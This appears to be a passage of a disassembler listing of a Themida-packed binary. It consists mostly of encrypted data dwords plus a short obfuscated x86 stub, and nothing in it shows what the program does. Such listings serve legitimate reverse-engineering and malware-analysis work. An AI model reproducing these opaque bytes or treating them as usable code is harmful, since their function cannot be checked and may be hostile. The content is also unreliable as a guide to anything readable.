0B8660000h, 15BFE0DFh, 66000017h, 8BF1E9BBh, 6E931h dd 64040000h, 8C43ECF4h, 4BADEE81h, 81661D0Eh, 813C13F2h dd 642A0AEEh, 7E90Ch, 27940000h, 0D1754A99h, 69EE8186h dd 0B65D477Eh, 8D89562Ch, 7E022C9h, 0F380018Fh, 4E9838Fh dd 81D1B70Fh, 1EFh, 1C850F00h, 89000000h, 0E00201BDh, 23E907h dd 21360000h, 0BFE5AF44h, 18C70BA7h, 0D61F80EAh, 8BB24BADh dd 0E017B59Dh, 0FF89E907h, 9780FFFFh, 1D55B2A8h, 83C08B70h dd 0E006B1BDh, 9750007h, 1C5BD83h, 740007E0h, 8B535019h dd 421B8C0h, 85890000h, 7E020F5h, 0BC629D8Dh, 0D3FF07E2h dd 0BD83585Bh, 7E001C5h, 50177400h, 421B853h, 85890000h dd 7E020F5h, 0B9519D8Dh, 0D3FF07E2h, 0C08B585Bh, 4659D8Bh dd 85C607E0h, 7E00759h, 0B8526856h, 0B5FF9CA8h, 7E0292Dh dd 7FE8858Dh, 0D0FF07E3h, 68046Ah, 0FF000010h, 0E03355B5h dd 0FF006A07h, 0FC085D0h, 0D85h, 0B800h, 8D8D0000h, 7E0748Dh dd 0C88BE1FFh, 4003C38Bh, 0F8053Ch, 508B0000h, 83D3030Ch dd 0E001EDBDh, 840F0007h, 0Eh, 1ED9D8Bh, 858B07E0h, 7E01C61h dd 52510389h, 4334858Dh, 0D0FF07E0h, 0F18BFA8Bh, 0C88BD18Bh dd 85C6A4F3h, 7E00759h, 6D396856h, 0B5FFD41Fh, 7E0292Dh dd 7FE8858Dh, 0D0FF07E3h, 800068h, 52006A00h, 0C08BD0FFh dd 6B1BD83h, 750007E0h, 0C5BD8309h, 7E001h, 53501974h dd 21B8C08Bh, 89000004h, 0E0239985h, 0C99D8D07h, 0FF07E2BCh dd 83585BD3h, 0E001C5BDh, 17740007h, 21B85350h, 89000004h dd 0E0239985h, 6A9D8D07h, 0FF07E2B9h, 8B585BD3h, 0ED9D8DC0h dd 8B07E001h, 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 4B41B8h dd 10E900h, 9C610000h, 3959h, 2 dup(0) dd 0C7E90000h, 22000005h, 9466803Ah, 9DBF5ADh, 80526C24h dd 0F3C5DF97h, 0E83D5711h, 0AE684AFFh, 24DEC294h, 9D55380Ah dd 11CBB183h, 92C17F7h, 21D363A8h, 2BC25CCEh, 88868B45h dd 0D2ECA6h, 6F49601Ah, 7CC9CF89h, 0F2D7987Eh, 0D5E5353Ah dd 0C6F18D4Eh, 70CB762h, 49112209h, 3FC071ADh, 30A3A853h dd 6E54A6FBh, 0E5C89AB4h, 5E41132Dh, 0BFA3A1A6h, 0DD0A0005h dd 9B533680h, 8C9AF81h, 71686D25h, 347AC1C6h, 6729BA9Bh dd 25DDC081h, 9577757Ah, 9B654C6Fh, 0BE1129BAh, 0A4BE0E13h dd 661C8E98h, 0C51A637Fh, 0C320517Ah, 34E1316Dh, 8B5A54h dd 2BA40000h, 35748B45h, 0BAA09F12h, 7E84D729h, 12F4CE31h dd 0AA5C5358h, 0C3060CC6h, 29BAA0ECh, 80A3C9AFh, 29BAA131h dd 4A4FFA4Dh, 0A6AB634Ch, 1F62BF74h, 0EDAFDBF6h, 0DFF95948h dd 227FF4FAh, 34C99ECCh, 12B954h, 9AC60000h, 0F808B7D6h dd 0F1C0E3FEh, 8D29BA1Dh, 67898F3Ah, 878C442Bh, 0E5EAA289h dd 4146FEE7h, 0BD9F5E43h, 55535803h, 0BCB3B870h, 7C65260Ah dd 1DC8BFC4h, 0D62BEC18h, 0D22F648Bh, 0CFE9A188h, 435D17FDh dd 8F492B49h, 94A58C8Ah, 9D6E4450h, 9B01A7B5h, 31108286h dd 8BF3F8A3h, 0B99BED42h, 2D13E5FFh, 0CBD08A6Ch, 179ABDD4h dd 5F29BA62h, 5E5C610Ch, 0C4D5BA79h, 2198D9B6h, 0F8FDA863h dd 3F5601h, 0B9E9D4DDh, 5157AA29h, 0EA47A804h, 345F4694h dd 0AF9154h, 729E0000h, 1900D9CEh, 5679909Bh, 29BA8F5Bh dd 0A8CAD023h, 0A588492Bh, 0A1535E81h, 0D82B29BAh, 7F7D822Dh dd 0F1CBE29Ah, 554C510Bh, 708F024Fh, 0A0A30E31h, 88DB29BAh dd 66B00D82h, 0DEB0CA84h, 0DA3D42FCh, 0A139789Bh, 0F24529BAh dd 4A09F2ECh, 0FAFFAA64h, 5C6119FCh, 0BBC07A5Eh, 0A07C3558h dd 0AF0229BAh, 0B3FE5388h, 36ED42A3h, 0AAABB30Ah, 0BA742A87h dd 0FD015429h, 0D2E936A6h, 0BA1602AFh, 23297C29h, 3463F11Dh dd 0D0133F54h, 0E996EE2Ah, 446FF3F9h, 7C000000h, 0AE359050h dd 7D83B310h, 8F492B5Bh, 0F1A98C8Ah, 0A805BAECh, 0A8C27C5Eh dd 8C442BAEh, 0A16E4087h, 4A2D29BAh, 0A68F8D92h, 4176E9EEh dd 4778A1ECh, 7C613BEAh, 0C2C8BFC4h, 34EA8EBCh, 1A954h dd 2BF30000h, 26898E46h, 0A7AC664Ch, 0CAB0AAB0h, 0FE150B10h dd 84894124h, 5EDBE034h, 0AC57B854h, 0B03F7295h, 0E43729B9h dd 5D1469DEh, 0AFB6FB1Eh, 6DC029B9h, 0D0886D67h, 4B537FB6h dd 0F4BDE06Fh, 8A29B9DCh, 0C743337h, 57B90D13h, 0F1A9926Ch dd 0B9D4BBF6h, 8469C329h, 5F7621CCh, 59D32E3Ch, 5055A82Eh dd 98B26C52h, 2126E0C6h, 0D9D3D5DAh, 8CE19621h, 809A543Ah dd 90EC8AEh, 666B250Bh, 0DF1CBFEh, 51574E53h, 4F3587DCh dd 619D7B95h, 8A53D427h, 192h, 0DCBF6B97h, 0C790506Fh dd 4FD19FC1h, 444903E9h, 8862A6F4h, 0F19CFF05h, 0B1F02F46h dd 0BA22238Eh, 2085B29h, 5A0817BFh, 71E712Eh, 23492Dh dd 21DA47B1h, 0C9CF7ACDh, 0DE987E7Ch, 93889BC7h, 6F51D5B6h dd 0E734F67Ah, 0E0F7A2D1h, 0DA82F4BDh, 31378A21h, 5D17FDCFh dd 61745A58h, 58D38EABh dword_5C0900 dd 8F943FF3h, 92B5F427h, 21DA201Fh, 6D520457h, 0E53AAFB5h ; DATA XREF: Themida_:0054E730o dd 0DCF3AD93h, 2ED462B0h, 948B904Ah, 35DAA290h, 0B3EFCD2Fh dd 0DC53D4CDh, 6Bh, 712B0FE9h, 4D6F756Ch, 4D6487C6h, 2929BAA1h dd 0DA69E07Dh, 2ED9B4EEh, 0E94DD428h, 8CA34E06h, 44B96869h dd 767BCE56h, 0BB46822Fh, 0DD32F3A9h, 0AD654C26h, 71CC53A7h dd 39A375Ah, 0D124D646h, 59587BBAh, 0F829B9FCh, 87B9148Fh dd 0DF391027h, 453C41FBh, 3032949Ah, 0A6h, 64E95D89h, 4379F081h dd 0F1F6AE91h, 0D1D2F4FAh, 261F974Fh, 64C1E327h, 1B7FA2B9h dd 752E5A0Bh, 391F1D22h, 0A98E687Fh, 0EFF5ECF1h, 1BD5BB8Dh dd 2FDCF16h, 0C56421DAh, 34E6386h, 0C5E821DAh, 21DA02ECh dd 15683F92h, 8E459A0Fh, 1218D2B4h, 5E783218h, 3A51EE32h dd 7CFDB817h, 0D4EB3E26h, 6F7441A8h, 3558FB53h, 29B35B7Ch dd 4AF02h, 0C42E514h, 449197E7h, 0A1A66046h, 7D217EABh dd 5A7D9493h, 2E561F75h, 819199C5h, 0BE2369B9h, 0DA91169Bh dd 620D6021h, 0D3EA3D5Ch, 0C65288A7h, 6066B123h, 4FD104FEh dd 19B6D9F0h, 0A12E5D9Ch, 7B5D374Eh, 13C5BCC1h, 206D732Dh dd 6B823C22h, 63A8092Ch, 6B8E21D3h, 21D36446h, 0B306DD30h dd 60661E01h, 8C462CFEh, 3C234087h, 0D60B0F1Dh, 8F492F79h dd 0FCBDA375h, 0B1B66119h, 0D690744Eh, 35EDD6D0h, 0B00D3A30h dd 0ACC68066h, 0FEB69B75h, 5E18FEF8h, 32B59h, 24C10000h dd 89432B66h, 0E6A08684h, 4800E3E1h, 0A7614543h, 8C2A4A2h dd 69230503h, 0C57D6664h, 25DDC2C0h, 833B2220h, 89506D7Eh dd 0D5B951E0h, 815E5554h, 225AA6E1h, 0C1814139h, 0E7FFAF7Fh dd 8359C801h, 48704E8h, 89515C24h, 4C181E1h, 81000000h dd 4E9h, 240C8700h, 240C895Ch, 0D6768h, 243C8900h, 6A6D6857h dd 525F2BD0h, 0AF1F54BAh, 5AD72130h, 37B3F781h, 0F9892767h dd 0C63685Fh, 24890000h, 24048324h, 0BB535F04h, 8, 3D0CEB81h dd 0FB016F2Eh, 3D0CC381h, 0B896F2Eh, 243C8B5Bh, 81E38953h dd 4C3h, 4C38300h, 5C241C87h db 8Bh, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_554887 ; --------------------------------------------------------------------------- dd 8E7D8456h, 12B8B166h, 307E743h, 44E0FFC5h, 0DD188732h dd 53523158h, 312A16E3h, 56254F63h, 0C846D27Ah, 37792FB3h dd 473AE9A6h, 567E8A39h, 1660D1F8h, 0A853616Dh, 0CB62EE13h dd 0BC27FEFAh, 0FF2C0706h, 0EC1C2D12h, 9C11723Ah, 7A0BA8E1h dd 7711B4F7h, 0EE5EBF10h, 0C34DF1D0h, 0C7584080h, 61FF65h dd 0C375B12Eh, 311388FAh, 26403293h, 5B054E0Ah, 7753A9B0h dd 0E90FBD1Dh, 0E83626D7h, 10h, 601D4FBh, 0AB46DC1Fh, 0D9A98E76h dd 0A5F55F4Dh, 5ED0BF0Fh, 5DC681F9h, 0B70000DBh, 0BF84h dd 7DB10000h, 0F3734FFh, 8158CABFh, 36600EE8h, 0CB8B660Ch dd 993AC081h, 800F231Fh, 4, 1840BB66h, 1DBAF081h, 0F28172C4h dd 6B54EA24h, 4850F50h, 66000000h, 8FF731BBh, 8B603E04h dd 61CF8BCAh, 880Fh, 0EF830000h, 0FE802h, 6DA90000h, 0A6ECA9BBh dd 0DB6A3ADEh, 64323F68h, 3FEE804Ah, 664F4F59h, 0B3C7D281h dd 2564FF81h, 850FFFFFh, 17h, 0BDE1A1BAh, 23E93Ah, 0EB2D0000h dd 0B3F12C3Ch, 0B21E254Eh, 0F814573Bh, 0FFFF6FE9h, 0B56CB8FFh dd 17E7CC4Ch, 50B4C178h, 0C6CDDF37h, 0BE829h, 31A90000h dd 97A9942Ch, 0BE4570Bh, 0E8F0F62h, 0E9000000h, 9, 0D03165C8h dd 0F25D34FDh, 0C1815980h, 6A85h, 68h, 66605200h, 0B14622BFh dd 5A5B615Eh, 0BC39CE81h, 34FF677Ch, 11E90Ah, 5AEE0000h dd 47B9EE6Dh, 6914B638h, 7DE3717Eh, 58419603h, 0EE8h, 0A257200h dd 8B4B2491h, 0C35B52C8h, 0BEA4BCE2h, 54EA72E3h, 57F0815Eh dd 0E85B3B7Fh, 0Ah, 7E04E382h, 0EBE97E6h, 7E88F33h, 0E8000000h dd 0C9F734DFh, 5E5E0934h, 0F02EC081h, 0F0817D18h, 6B671615h dd 8F0F50F9h, 2, 48FFB8Bh, 0FE8B6611h, 6602EA83h, 63FEF681h dd 8B664A4Ah, 78FA81D8h, 0FFFFF96h, 1E85h, 810F5000h, 6 dd 870Fh, 0E95F0000h, 27h, 0B2C86BF7h, 0BC446035h, 66C1B826h dd 0E95206BBh, 0FFFFFF4Eh, 8EE952B6h, 167CBCDAh, 7E6E9606h dd 61BA9128h, 0E9C83D49h, 4BA9h, 0E7913F68h, 3AC5E907h dd 5941FFF9h, 0CCB3859Fh, 4328FA14h, 0B69F718Bh, 3012E4FEh dd 0DE075C76h, 0B3CD8769h, 2943FDE1h, 0A2BC7457h, 1630EAD0h dd 89284B36h, 0F521D35Ah, 0ACA3E983h, 2F34EED2h, 2B103238h dd 0C6B48E46h, 63490AECh, 2ADA4A9h, 0B30006FDh, 892F2450h dd 1318D0B3h, 0AE2C181Ch, 2B8BADB3h, 0DEB48E46h, 8B452BACh dd 3BACDEB1h, 0A453B051h, 34261A78h, 1D23BA64h, 8E462BFBh dd 6ECC6B4h, 0D0FE464Ch, 4F07ECC6h, 0B26A4F49h, 0E2B2D8D8h dd 29BAA093h, 0C695F7F0h, 474D05ECh, 2B037DD2h, 0F2EE3546h dd 60BC3AAh, 0BA330B0Fh, 0C30FE994h, 8D472BC9h, 0E2B2D8B3h dd 0DE3AE643h, 0B0D6B440h, 462BE153h, 0B69D778Eh, 0D8D6F8FEh dd 8E462BB2h, 0C6ACDEB4h, 464B03ECh, 6C4F494Fh, 0D8719DB4h dd 2411E235h, 0DE7C9EA4h, 0CEF1306Fh, 29BAA0E3h, 644D489Bh dd 1A29BAA1h, 0E39FC1C7h, 5ECC6A9h, 0F81536F4h, 44EFF2B8h dd 0CD42483Fh, 5F82C170h, 29BA1652h, 11FC25FFh, 9E0DE67h dd 2B8EB0B6h, 0DDB48E46h, 23474672h, 0D64A4D01h, 462BAED0h dd 0ACDEB48Eh, 0B48E462Bh, 9AC6AFDDh, 0D86E9E5Ch, 0C503D260h dd 0FE639296h, 11F6F0F6h, 0C9C37F59h, 0A587462Bh, 0C66640EBh dd 9B3D79Ah, 7598E783h, 29BA433Ch, 3E44EF42h, 0E4CBA5DCh dd 4729272Ch, 0BADCE28Dh, 7990482Bh, 0BF0CB74Dh, 9298E417h dd 2BB2D870h, 0A16F3F49h, 0B60929BAh, 2B5339DCh, 0A16E4048h dd 0B50829BAh, 2B5339DBh, 88868B45h, 0BBE7ECA6h, 505AA5FAh dd 80381FF9h, 9AC6587Ah, 26B3B089h, 0E65B61A1h, 0ECC61789h dd 15384F07h, 29BAA09Ch, 8F898FE2h, 0BC3D9BACh, 0E0DEE751h dd 5E441E35h, 0BCA19FA4h, 5D08FF04h, 4E8E2346h, 95E829BAh dd 0B2D86D8Fh, 0BA69B1E2h, 52FD8629h, 0D2D78F78h, 0B0B3D5DBh dd 482BE153h, 0BD9F7990h, 107FE03h, 2BC9C3DFh, 3A799048h dd 0BAA09A17h, 0A88AE429h, 47F2E9EEh, 0F4F9B395h, 39D5F7FDh dd 8B452B53h, 2B5339B1h, 8D8B9048h, 0F5EBF0A8h, 2F286BC8h dd 6ECC6F1h, 88E9A6F3h, 0BE698AD6h, 74EE43B8h, 0A589482Bh dd 0C1B68F92h, 19C42BF3h, 6228946Eh, 4D05ECC6h, 514B5148h dd 0D8DCB66Eh, 24482BB2h, 0BAA0B001h, 6F73C629h, 5DE3A2CBh dd 0E5BF6A7Fh, 1C33B2D8h, 9CA15942h, 0C67D9FA5h, 494F07ECh dd 2B057FD4h, 0C3B69048h, 8ECC6C9h, 6B4E484Eh, 0ECC6D9B3h dd 544B500Ah, 89B5EC4Eh, 0F6805F6Eh, 113339E3h, 0B690482Bh dd 0ECC6B2D8h, 52494E08h, 0B56D524Ch, 6F93729Eh, 483047ADh dd 0F1F6B096h, 0D8D2F4FAh, 90482BB2h, 9A173A79h, 0E429BAA0h dd 0DE698B91h, 0A09AC6ACh, 8860CAB6h, 7F635D63h, 306FAEC5h dd 0BA3FA40Dh, 8C87DA29h, 29BA4025h, 0D6F8FE51h, 0AC956FDEh dd 0CF1EFF4h, 0AD584F54h, 0C1A179A9h, 0FA007887h, 57311CD8h dd 0BFB6BB75h, 9AC697B9h, 0D75FF14Dh, 5DD2D8B2h, 482B8E00h dd 0B99F7990h, 0AE5911F8h, 72DD86A8h, 0FAC72346h, 0BA97DAD7h dd 4D51A429h, 0EEA0123Fh, 564D520Ch, 482B2E50h, 0C9C3B690h dd 4A24482Bh, 66A9AF67h, 29BAA148h, 3901DB2Eh, 9C563C16h dd 0E7B37496h, 0B0A6E4EDh, 482BE153h, 0BAA16E40h, 0CAAE0829h dd 224E6510h, 4E8C4C52h, 91B3B917h, 4D6487C6h, 2929BAA1h dd 0DD3D0D6h, 2BC240D1h, 0D8B69048h, 0B89B75h, 0DCFE04FBh dd 124482Bh, 29BAA0B0h, 395C73C6h, 29BAA078h, 0E900ABFEh dd 6F742C0Fh, 0A0C8E90Ch, 5BAE29BAh, 0D888AAB0h, 0FBB59B75h dd 3E7B70F7h, 7F857D32h, 8C442B5Dh, 0ECA48987h, 4903E9E7h dd 0B2674D44h, 2C33B95Dh, 9949E1Bh, 350F425Eh, 9C939850h dd 0ECC67496h, 0A75F4605h, 2C81F6FCh, 90482BB2h, 0B0C9C3B6h dd 40D1E153h, 90482BC2h, 0FABB9F79h, 0ABB15C16h, 0C6B2D889h dd 474B03ECh, 2267DDFFh, 5C9FA5E6h, 29B9E6D2h, 0EA173864h dd 0E025A731h, 0D4B6B8DAh, 2BE153B0h, 0C6B69048h, 4D5109ECh dd 25A28D88h, 389AA0A4h, 0E153B03Eh, 0B690482Bh, 0D2979AC6h dd 0BBD1D8C9h, 0C65953B5h, 0A14D6487h, 0D62929BAh, 3AF4D6D0h dd 0C6B2D860h, 0C027AE9Ah, 0DBE15BDEh, 6B45FFE1h, 16A89AC6h dd 84E395D2h, 0BA085061h, 28D32629h, 0B3AFD522h, 3817DCF6h dd 0B8BD755Eh, 0B099BBC1h, 492BE153h, 0C9C3B58Fh, 4D6487C6h dd 2929BAA1h, 853D24D6h, 0E9A3857Fh, 0C6B2D80Fh, 0A14D6487h dd 0D62929BAh, 0E6F0D6D0h, 29BAA0C8h, 39815BAEh, 9ECC653h dd 3BD9F51h, 8F0107FEh, 7CD36D67h, 106C0A2h, 0B0E2040Ah dd 0E5CAA453h, 0DA853D26h, 492BB2D4h, 0ECC6B58Fh, 0FC4C5109h dd 660961D7h, 4046F18Ch, 0E6CDA7DEh, 0D106282Eh, 442BC240h dd 0B2D8B28Ch, 0D2A748E2h, 0D6B43B12h, 337F9AC6h, 22B9191h dd 0B82A87FCh, 2BE153B0h, 94253748h, 0D1D68E73h, 4995D6DAh dd 0D8835D08h, 8F492BB2h, 2BACDEB5h, 0DEB28C44h, 0B07F0DACh dd 492BE153h, 0AFDDB58Fh, 788F492Bh, 4DFFB79Eh, 0B5ACB16Bh dd 0C9C38DAFh, 0B58F492Bh, 462BC9C3h, 0E1E69E87h, 0D8653FEAh dd 8E462BB2h, 3675D8B4h, 0BAA09E13h, 6E85D829h, 0BAA1664Bh dd 0B7BD1029h, 5E07E295h, 0B67CD645h, 0CE9AC6D4h, 7982E0C0h dd 0E82B86A9h, 5329B9h, 85DA4F55h, 8E462B0Bh, 2BC9C3B4h dd 0D8B48E46h dd 8F492BB2h, 2BB2D8B5h, 89878C44h, 0F0E6EBA5h, 0FC236EC3h dd 6487C61Ah, 29BAA14Dh, 5BD0D629h, 462B8C06h, 0C9C3B48Eh dd 0B28C442Bh, 9BE2B2D8h, 98778440h, 53B0D6B4h, 8E462BE1h dd 6487C6B4h, 29BAA14Dh, 2AB27D29h, 0A237FACh, 0E60C595Fh dd 0B18B452Bh, 5933B2D8h, 4D6487C6h, 2929BAA1h, 65BD0D6h dd 8E462B8Ch, 2BC9C3B4h, 0C3B48E46h, 90482BC9h, 2BB2D8B6h dd 0D8B58F49h, 0B877E2B2h, 2BCCD87Fh, 88868B45h, 83E6EBA3h dd 0BAA15160h, 30DA2D29h, 3A63AE03h, 8ECC65Ch, 7ED3484Eh dd 89482B04h, 6842EDA7h, 482B5339h, 173A7990h, 29BAA09Ah dd 698B91E4h, 0B1849AC6h, 0CC799B6h, 0FF341A06h, 0E153B08Dh dd 0A389482Bh, 3F44FEE2h, 18F29D48h, 482B6228h, 0B2D8B690h dd 4D6487C6h, 2929BAA1h, 0F1D6D0D6h, 0B2D85F39h, 78F01C33h dd 0B100238Ch, 0CD29B9D3h, 11DA767Ah, 0B025474Dh, 482BE153h dd 0E5EAA289h, 9F573CEEh, 1EF8A39Ah, 9A608CC3h, 662006AAh dd 26666A61h, 91B3B903h, 0E006ECC6h, 0BAA0F4BDh, 8C378A29h dd 908A9087h, 4F6285A9h, 2729BAA1h, 0C64F29D4h, 464C06ECh dd 0ECC6D3F9h, 50474C06h, 0B169504Ah, 9B75D8D7h, 0D8FA00B8h dd 0BA7C0EE2h, 59336929h, 2BE153B0h, 9B758C44h, 1F8FDB7h dd 8CC3D9FBh, 0A0872A4Dh, 9CEF29BAh, 452B7496h, 0B2D8B18Bh dd 0E14473E2h, 0D6B4D092h, 4FC39AC6h, 80AE1FEDh, 0F9A8057Ah dd 6777DFCDh, 343AA6A5h, 40482B12h, 29BAA16Eh, 512F5C08h dd 0B568E241h, 5339300Ah, 33869AC6h, 758412B8h, 4963FD6Fh dd 878C442Bh, 0E7ECA489h, 60A300B5h, 87C6236Dh, 0BAA14D64h dd 0D0D62929h, 2B8C065Bh, 644A2448h, 0FCAEA5AAh, 16595F17h dd 29BAA098h, 0C6B18BDEh, 474D05ECh, 442B844Ah, 9AC6B28Ch dd 6FE0CCCEh, 0D0886B11h, 2329D4CBh, 0C9B08AC1h, 666B230Ah dd 0C8BFC46Fh, 0ECC6A0C2h, 4D474D05h, 6F9BB26Ah, 144EDF70h dd 4F717783h, 4D6487C6h, 0E929BAA1h, 0BAA0EBC6h, 69409329h dd 0A12A87AAh, 15429BAh, 0F4EE5056h, 768D472Bh, 0F8FEB89Ch dd 2BB2D8D6h, 0A1713D47h, 9BC729BAh, 0D94E4F20h, 87A6AC26h dd 53395A34h, 0B690482Bh, 0B9D35339h, 2BE153B0h, 0A1713D47h dd 0B40729BAh, 6487C6DAh, 29BAA14Dh, 70D2D629h, 4B0F0A5Eh dd 6588747Ah, 0EDAE0326h, 75C829B9h, 0AAB34D6Fh, 7650FF38h dd 0DBD2D78Fh, 868B4529h, 0B067898Fh, 472BE153h, 0BAA1713Dh dd 0DAB40729h, 4D05ECC6h, 1B474A47h, 5304EDDAh, 0BEE0E60Bh dd 0FE21472Bh, 29BAA0B3h, 0D08871CBh, 7E29D4CBh, 0AC052867h dd 0D229BAA0h, 6C45687Fh, 1229BAA1h, 0D897B9BFh, 0DBC9B3B2h dd 0ECC67517h, 0AB634807h, 0FE04FB00h, 2BBA3489h, 37768D47h dd 0B8BD775Dh, 0A0EBC6C1h, 409329BAh, 8CC3183Ah, 0A0872A4Dh dd 9CEF29BAh, 10E27496h, 2629BA94h, 0A7AD654Ch, 8D472B85h dd 0C6C9C3B3h, 4B5109ECh, 0D9B36D51h, 0CCB28CC3h, 0C37B6012h dd 482B9BBDh, 0B2D8B690h, 0BA5E54E2h, 3318F229h, 0D1D69074h dd 977D2FDAh, 0DBE1D8DDh, 90482BB9h, 2BC9C3B6h, 0D8B38D47h dd 8D472BB2h, 2B5339B3h, 614A2448h, 0A7ADA4A9h, 0BAA14A64h dd 0FFD92C29h, 482B6228h, 0BB9F7990h, 1CFEFC01h, 8FB1B762h dd 4B03ECC6h, 2BE9E345h, 0C6B69048h, 9A4C06ECh, 2F9FEB8h dd 2B83B5FCh, 0C6B28C44h, 0EFADDD9Ah, 886B6F53h, 2201B619h dd 8CD3D984h, 9B5A431Dh, 3FAFFB9h, 0E3305258h, 0AECC6A9h dd 4E544B50h, 2B0A84D9h, 0DDB69048h, 8D472BAFh, 2FEB4A76h dd 424701E7h, 393A474Bh, 0C665878Dh, 33B5099Ah, 0C1C70AD0h dd 482B487Ah, 173A7990h, 29BAA09Ah, 698B91E4h, 482BAFDDh dd 0C9C3B690h, 0B28C442Bh, 4F07ECC6h, 0BF99FC49h, 0FA1C22DAh dd 738A422Bh, 0A0A01134h, 44A929BAh, 9EA1F6FDh, 0B4BA0DE4h dd 2BB2D892h, 0D8B38D47h, 0A19AC6B2h, 282DCB55h, 0B89A949Ah dd 0B2D824FEh, 53B0D6B4h, 20442BE1h, 0BAA0B4FDh, 0CC77CA29h dd 3BF5DBB5h, 0ACDE1335h, 4D05ECC6h, 514B5148h, 0EC6AF6Eh dd 8D671209h, 9C99AC6h, 0AF7868F3h, 0A83C7598h, 0EF4229B9h dd 5933A2E9h, 93B5BB75h, 53B0C1CBh, 8C442BE1h, 3372DDB2h dd 0BAA0A110h, 848ADD29h, 86472B62h, 81C8C9Dh, 0EACF7F12h dd 19EA3A3Fh, 6B8F2385h, 0E8C26D18h, 424975D8h, 742CECF7h dd 0E233555Bh, 0A19FB781h, 0B0D6B4F6h, 422BE153h, 0C9C3B08Ah dd 0B38D472Bh, 4D6487C6h, 2929BAA1h, 5D83D0D6h, 0B28C442Bh dd 133675D8h, 29BAA09Eh, 5D7F85D8h, 4C06ECC6h, 0FFD5D446h dd 53B07517h, 85442BE1h, 0EEE5EAA2h, 0F19C563Ch, 2BC9C317h dd 0C6B28C44h, 0A14D6487h, 684E29BAh, 0DBB2A9AEh, 4838FE2Fh dd 0CD780A31h, 22E65C7h, 3D1F4593h, 83877E83h, 9278B038h dd 5272DD8h, 0A183422Bh, 0D8623CE7h, 6487C6B2h, 29BAA14Dh dd 0D9B06A4Eh, 654C6F86h, 1129BAA1h, 0D8BEB8BEh, 0A5C8071Eh dd 29BAA10Ch, 0F4F9B397h, 0E6CC26FDh, 347D812Ch, 0A3291EBDh dd 0D874969Ch, 0A6B99B75h, 0B2070DDDh, 444AF51Ah, 0C6D6B422h dd 0A14D6487h, 6C4E29BAh, 9C81DBB2h, 0FF2239E4h, 29BAA0B2h dd 0FE7379CCh, 2F18F2A1h, 0C97B7277h, 2E252AE2h, 0BEE20628h dd 0B929BA92h, 0B28C442Bh, 442BC9C3h, 0C9C3B28Ch, 0B28C442Bh dd 5C3675D8h, 0ECC5C07Ah, 9229BAA0h, 0C617393Fh, 4B500AECh dd 930B4E54h, 0E229BABFh, 0B28C442Bh, 442BC9C3h, 0B2D8B28Ch dd 4506ECC6h, 0F6FCA761h, 0BA2E7EB3h, 1C33F529h, 0A0F7BADDh dd 2C7F29BAh, 53B00426h, 3ECC6E1h, 494F464Bh, 2144684Fh dd 29BAA090h, 0EE893E6h, 9AC6C9C3h, 5266C234h, 554F5572h dd 0C6DCB66Eh, 494F07ECh, 452BD002h, 0A0B5FC1Fh, 6EC129BAh dd 0ECD2ACC3h, 30362D32h, 436FDE0Eh, 16CA6364h, 597B819Bh dd 53B0513Bh, 6F4265A4h, 729BAA1h, 2B8CAEB4h, 9B758C44h dd 2F9FEB6h, 0AFDDDAFCh, 758C442Bh, 0A09E1336h, 2CD829BAh dd 97F10D3Fh, 3F45F028h, 9B75D81Dh, 466B8EB2h, 3029BAA1h dd 0F81B32DDh, 29BAA0B9h, 4A6C72C5h, 4D6487C6h, 4E29BAA1h dd 89DCB36Bh, 7EA28983h, 0BAA1565Bh, 22CD2029h, 956FDE48h dd 4E06EDACh, 0A1A79EA3h, 84452B7Fh, 0E7DEE39Bh, 0ACDE623Ch dd 53B0513Bh, 33442BE1h, 0AD6FFEDFh, 6D47F27Dh, 0B49872DDh dd 0F8FEF5FAh, 8C442BD6h, 2BC9C3B2h, 0C3B28C44h, 8E462BC9h dd 2BB2D8B4h, 4B778E46h, 0F92D5001h, 0DF868A7Bh, 4EF20927h dd 0C62D4F55h, 4A500AECh, 452BD103h, 0C29A7832h, 0B9DCB17Dh dd 29B9E1F8h, 0D5802B7Eh, 0CBACDEFBh, 0E153B0C1h, 0B48E462Bh dd 462BAFDDh, 1538778Eh, 29BAA09Ch, 0F7DD8FE2h, 0C615373Dh dd 0A14D6487h, 0CF2929BAh, 7E842FE9h, 0C9B30B31h, 0B07517DBh dd 9AC6E153h, 0E19F348Dh, 0CF896F0Ch, 3F241E24h, 0B0967087h dd 0F4FAF1F6h, 2BC9C3D2h, 9E788F49h, 5A14FAB9h, 0ADB35E55h dd 2BB2D88Bh, 0C6B38D47h, 0C2E509ECh, 29BAA0EFh, 83893487h dd 99B41036h, 1D23DDBFh, 0E153B0FBh, 0B48E462Bh, 0C8B3B2D8h dd 0C6D5B7DAh, 4C5109ECh, 85DA4F55h, 8E462B0Bh, 2BC9C3B4h dd 0C6B48E46h, 4C5109ECh, 0F3ED4F55h, 758C442Bh, 0FB00B89Bh dd 0D8DCFE04h, 0FEB69B75h, 0DAFC02F9h, 4E08ECC6h, 0AE684E48h dd 0BF9AC6D4h, 823A232Bh, 0C982867Dh, 0A76145F4h, 46A9F6FCh dd 9972671Ah, 535993EEh, 0AECC631h, 6B4D4B50h, 0AB5ACB1h dd 6B230A04h, 3675D891h dd 0B8BD755Ch, 0A0EBC6C1h, 409329BAh, 0D6B4183Ah, 0C6E153B0h dd 484D05ECh, 2AD654Ah, 0AFB56D50h, 0FF16CEB5h, 9B3AE3D3h dd 0F3F92C8Eh, 2BB2D8D1h, 0D8B38D47h, 8E462BB2h, 0EBA58B89h dd 0A2FFB4E6h, 0B0117F5Fh, 442BE153h, 0E1E69E85h, 0C3653FEAh dd 0C240D1C9h, 0FA33442Bh, 4A4644A4h, 0D8BC9641h, 9E133675h dd 0D829BAA0h, 0B38E8185h, 18FF81C0h, 482BF012h, 0B2E8E637h dd 191015CDh, 7DFBEA15h, 0B2D8F8D2h, 53B05933h, 6F4265A4h dd 729BAA1h, 621C02B4h, 3E60665Dh, 0B28C442Bh, 0D0B28CC3h dd 141A1116h, 0A453B0F2h, 1C361278h, 5437E8BBh, 0C9EBF19Ch dd 0B28C442Bh, 944975D8h, 0DC6FA6BDh, 0E2CAECF2h, 29BA6D3Dh dd 0B095F73Ah, 442BE153h, 0C9C3B28Ch, 0B28C442Bh, 452BC9C3h dd 0E3E8A284h, 0D86741ECh, 0FDB79B75h, 442BD5F7h, 0ECC6B28Ch dd 0FA474D05h, 8C442BD4h, 0D34A4975h, 63F124F4h, 0B2D83B5Dh dd 87C6D6B4h, 0BAA14D64h, 28D0FC29h, 